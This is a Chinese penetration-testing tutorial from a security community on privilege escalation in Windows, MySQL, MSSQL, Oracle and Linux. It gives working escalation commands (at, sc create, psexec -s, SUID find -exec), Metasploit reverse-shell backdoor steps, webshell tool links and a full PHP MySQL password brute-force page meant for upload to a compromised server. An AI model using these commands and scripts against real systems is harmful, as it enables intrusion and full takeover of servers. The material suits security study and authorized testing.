本文首发于奇安信攻防社区
权限提升对我们在深度渗透过程中起着重要作用,接下来我将介绍web提权、本地提权、数据库提权、linux提权。
1、system账户
Windows系统最高级别的权限是System用户权限,有一些操作需要System权限才能完成,比如修改注册表核心键值、强制结束恶意应用程序进程等。
2、管理员账户
具有最高的管理和使用权限,能改变系统所有设置,可以安装和删除程序,能访问计算机上所有的文件。除此之外,它还拥有控制其他用户的权限。
3、普通用户账户
某些功能的使用,是受到一定限制的账户,在系统中可以创建多个此类账户,也可以改变其账户类型。该账户可以访问已经安装在计算机上的程序,可以设置自己账户的图片、密码等,但无权更改大多数计算机的设置。
获取网站权限后,我们仅仅只能对网站操作,无法对服务器进行操作,需要对服务器进行提权,获取到更高权限。
案例演示
1.上传后门文件,获取到webshell权限
2.在web权限提升中,最常用的是溢出漏洞提权,用cmd去执行文件进行提权,从下图可以清晰的看到我们在webshell看到的权限和服务器上看到的权限是不一样的。
3.利用systeminfo进行信息收集,一般关注操作系统版本,打过的补丁编号。
4.获取到补丁编号后,我们要进行补丁筛选,推荐两个优秀项目:wesng , windowsVulnScan。将上面收集到的信息保存到1.txt中,利用wesng进行补丁筛选
下载地址分别为:
https://github.com/bitsadmin/wesng
https://github.com/chroblert/WindowsVulnScan
5.执行完后会将可能存在的漏洞保存在vuln.csv中
6.利用MSF或特定EXP进行提权(msf要搭建在外网,才能将会话反弹到本机,内网不能反弹)生成一个5577.exe后门,webshell执行该后门,反弹的端口号为5577
Msf安装教程:http://www.ttk7.cn/post-27.html
7.设置监听端口为5577
8.端口反弹的权限为web权限
9.利用wesng中收集到的漏洞编号,进行模块利用,并且设置反弹端口,此时的端口号应该与前面的不同,这个端口反弹的权限为提权后的权限,并且监听的回话为3,与上面的会话对应
10.成功反弹system权限
获取本地普通用户的权限后,要将权限提升为更高权限,本地提权的成功概率比web提权更高。
案例演示
1.系统溢出漏洞提权
直接网上下载BitsArbitraryFileMoveExploit.exe,运行就可以提升为系统权限
2.AT命令提权:
at 13:36 /interactive cmd.exe (在13:36分生成一个交互式的System权限的cmd)
使用版本:Win2000 & Win2003 & XP
3.SC命令提权:
sc Create syscmd binPath= “cmd /K start” type= own type= interact #创建一个名叫syscmd的新的交互式的cmd服务
sc start syscmd #得到了system权限的cmd环境
适用版本:windows 7、8、03、08
4.PS命令提权
微软工具包:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec.exe -accepteula -s -i -d cmd.exe
适用版本:Win2003 & Win2008
Mysql数据库提权
利用UDF提权
在利用UDF提权时前提是我们需要知道数据库的密码,而在正常情况下MySQL数据库不支持外连,此时如果我们用工具爆破不了,可以上传脚本进行爆破,脚本如下:
<html>
<head>
<title>Mysql账号密码爆破工具</title>
<metahttp-equiv="Content-Type"content="text/html; charset=utf-8">
</head>
<body>
<center>
<br><br>
<h1>MysqlDatab aseBlasting(Mysql账号密码在线爆破工具 V1.0)</h1>
<br>
<?php
if(@$_POST['submit']){
$host =@$_POST['host'];
if($host!=""){
$username ="root";//用户名字典
$password = array('','123456','admin','root123','ccf304vn');//密码字典
echo "<hr><br>--------------------爆破状态--------------------<br>";
echo "密码错误次数:";
for($i=0; $i <= count($password); $i++){
if(@mysql_connect($host, $username, $password[$i])){
echo "<br><br><font color='red'>爆破成功--密码-->".@$password[$i]."</font>";
break;
}else{
echo $i."、";
continue;
}
}
echo "<br>--------------------爆破结束--------------------<br><hr>";
}else{
echo "<s cript>a lert('黑客,输入数据库IP地址')</s cript>";
}
}
?>
<br><br><br><br>
<formaction="MysqlDatab aseBlasting.php"method="post">
数据库IP地址:<inputtype="text"name="host"/>
<inputtype="submit"value="爆破"name="submit"/>
</form>
<center>
</body>
</html>
有些提权网上已经写得很完整,所以接下来有的提权过程就没有演示,这是我收集的比较好的文章,请大家参考。https://blog.csdn.net/qq_36119192/article/details/84863268
2.Mssql数据库提权
请参考:https://www.cnblogs.com/N0r4h/p/12889944.html
3.Oracle数据库提权
分为以下三种模式:
普通用户模式
前提是拥有一个普通的Oracle连接账号,不需要DBA,并以Oracle实例运行的权限执行操作系统命令。
DBA用户模式
拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。
注入提升模式
拥有一个Oracle注入点,可以通过注入点执行系统命令,此种模式没有实现回显,需要自己验证。
一般Oracle数据库利用这个工具进行提权(自带以上三种提权方式)
下载地址:https://github.com/jas502n/oracleShell
推荐两个开源的项目
信息收集脚本
LinEnum-master:https://github.com/rebootuser/LinEnum
漏洞探针脚本,获取可能存在的漏洞
linux-exploit-suggester:https://github.com/mzet-/linux-exploit-suggester
在进行linux提权时,推荐使用冰蝎,因为冰蝎里面有很多集成化功能,可以反弹shell到msf中。
下载地址:https://github.com/rebeyond/Behinder
案例演示
1.SUID提权
漏洞成因:在对文件进行权限设置时,给了文件suid权限,在执行该文件时,会调用特定用户
上传一个脚本到网站,利用冰蝎连接,设置反弹shell
在msf中执行上面的命令,web权限反弹到msf中
上传漏洞探针脚本,并执行,查看是否有suid提权的可能性
执行一下命令,成功提升为root用户
touch shenghuo
find shenghuo -exec whoami \;
2.内核漏洞提权
在内核漏洞提权时,前提要是本地用户才能进行提权
请参考:https://www.moonsec.com/archives/379
3.脏牛提权
请参考:https://www.cnblogs.com/xiaozi/p/13370721.html
4.定时任务提权
请参考:https://www.yidc.net/archives/4380
5.环境变量提权
请参考:https://www.freebuf.com/articles/system/173903.html
END
【版权说明】本作品著作权归Honeypot所有,授权补天漏洞响应平台独家享有信息网络传播权,任何第三方未经授权,不得转载。
一个神秘且优秀的补天白帽子